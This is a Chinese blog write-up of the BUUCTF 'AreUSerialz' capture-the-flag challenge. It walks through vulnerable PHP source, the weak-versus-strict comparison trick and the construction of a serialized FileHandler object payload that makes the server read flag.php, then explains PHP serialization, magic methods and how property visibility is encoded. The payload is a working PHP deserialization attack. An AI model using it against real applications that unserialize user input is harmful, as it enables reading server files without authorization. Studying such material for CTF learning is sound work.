欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BUUCTF复现[网鼎杯 2020 青龙组]AreUSerialz

程序员文章站 2022-03-25 08:12:31
...

解题思路

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;   //%00*%00属性名
    protected $filename;
    protected $content;

    function __construct() { //该方法在创建对象时自动调用
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {  //如果op=1调用write函数,若op=2,调用read函数,否则输出Bad Hacker!
        if($this->op == "1") {  
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() { //该方法在销毁对象时使用,会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}   

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}//传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化

分析一下源代码,看到了有unserialize()函数,这道题坑定是PHP反序列化无疑了。

首先从程序的入口来看:

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

GET方式传入一个str,然后利用is_valid函数判断输入的字符串ascii数值是否在32到125之间,接着对输入的字符串进行反序列化。(对于PHP反序列化不懂的同学可以先看一下文末)

function __destruct() { 
    if($this->op === "2")
        $this->op = "1";
    $this->content = "";
    $this->process();
}

这里是对op进行判断,如果op=2那么将op改为1,否则执行process方法。

public function process() {  
    if($this->op == "1") {  
        $this->write();
    } else if($this->op == "2") {
        $res = $this->read();
        $this->output($res);
    } else {
        $this->output("Bad Hacker!");
    }
}

process方法在op等于2时,读取filename文件的内容并输出。这里还考察了=====的区别,一个是强类型比较,一个是弱类型比较。我们可以令op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true

接着可以写一个对象构造序列化,然后传入str,就可以得到flag了

<?php
 
class FileHandler {
 
    public $op = 2;
    public  $filename = "flag.php";
    public  $content = "oavinci";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:7:"oavinci";}

BUUCTF复现[网鼎杯 2020 青龙组]AreUSerialz

下面了解一下PHP的序列化和反序列化:

序列化:

PHP 的序列化是一个将各种类型的数据,压缩并按照一定格式存储的过程,它所使用的函数是serialize()

<?php

class FileHandler {

    public $ab=2;  
    public $cd="flag.php";
    public $efg="hello";
}

$a=new FileHandler();
$b=serialize($a);
echo $b;

序列化后的输出如下:

O:11:"FileHandler":3:{s:2:"ab";i:2;s:2:"cd";s:8:"flag.php";s:3:"efg";s:5:"hello";}

反序列化

反序列化就是将压缩格式化的字符串还原。

魔术方法

接着了解一下PHP里边的几个魔术方法

(1)construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)(2)wakeup()unserialize()时会自动调用
(3)destruct():当对象被销毁时会自动调用。会调用两次,一次是实例化之后的对象,一次是反序列化后生成的对象
(4)toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
(5)get() :当从不可访问的属性读取数据
(6)call(): 在对象上下文中调用不可访问的方法时触发
(7)sleep():serialize()之前自动调用

属性的权限

这里有个很重要的知识点:

<?php
 
class FileHandler {
 
    public $op = 2;
    private  $oa = "123";
    protected  $ob = "456";
}
 
$a = new FileHandler();
$b = serialize($a);
echo $b;

序列化后的结果如下:

O:11:"FileHandler":3:{s:2:"op";i:2;s:15:"FileHandleroa";s:3:"123";s:5:"*ob";s:3:"456";}

我们会发现里边的属性名明明是oa 但序列化后的结果却是FileHandleroa,并且他的长度明明是13,但序列化后的结果却是15;属性名明明是ob,但学历恶化厚的结果却是*ob,长度也变成了5。

这里就涉及到PHP的属性访问权限了,序列化为了能把整个类对象的各种信息完完整整的压缩,格式化,必然也会将属性的权限序列化进去,我们发现我定义的类的属性有三种 private protected 和 默认的 public(写不写都一样)

  • Puiblic 权限

他的序列化规规矩矩,按照我们常规的思路,该是几个字符就是几个字符。

  • Private 权限

该权限是私有权限,也就是说只能 FileHandler类使用,于是在序列化的时候一定要在 private 属性前面加上自己的名字,向世界表明这个属性是我独自占有的,但是好像长度还是不对,还少了两个,这是因为private权限的属性在序列话的时候会在属性名的前面加上类的名字,并在类的前后加上两个空白符,就是这样:%00类名%00属性名

  • Protected 权限
    Protected 权限序列化后的格式是:%00*%00属性名
相关标签: CTF刷题 php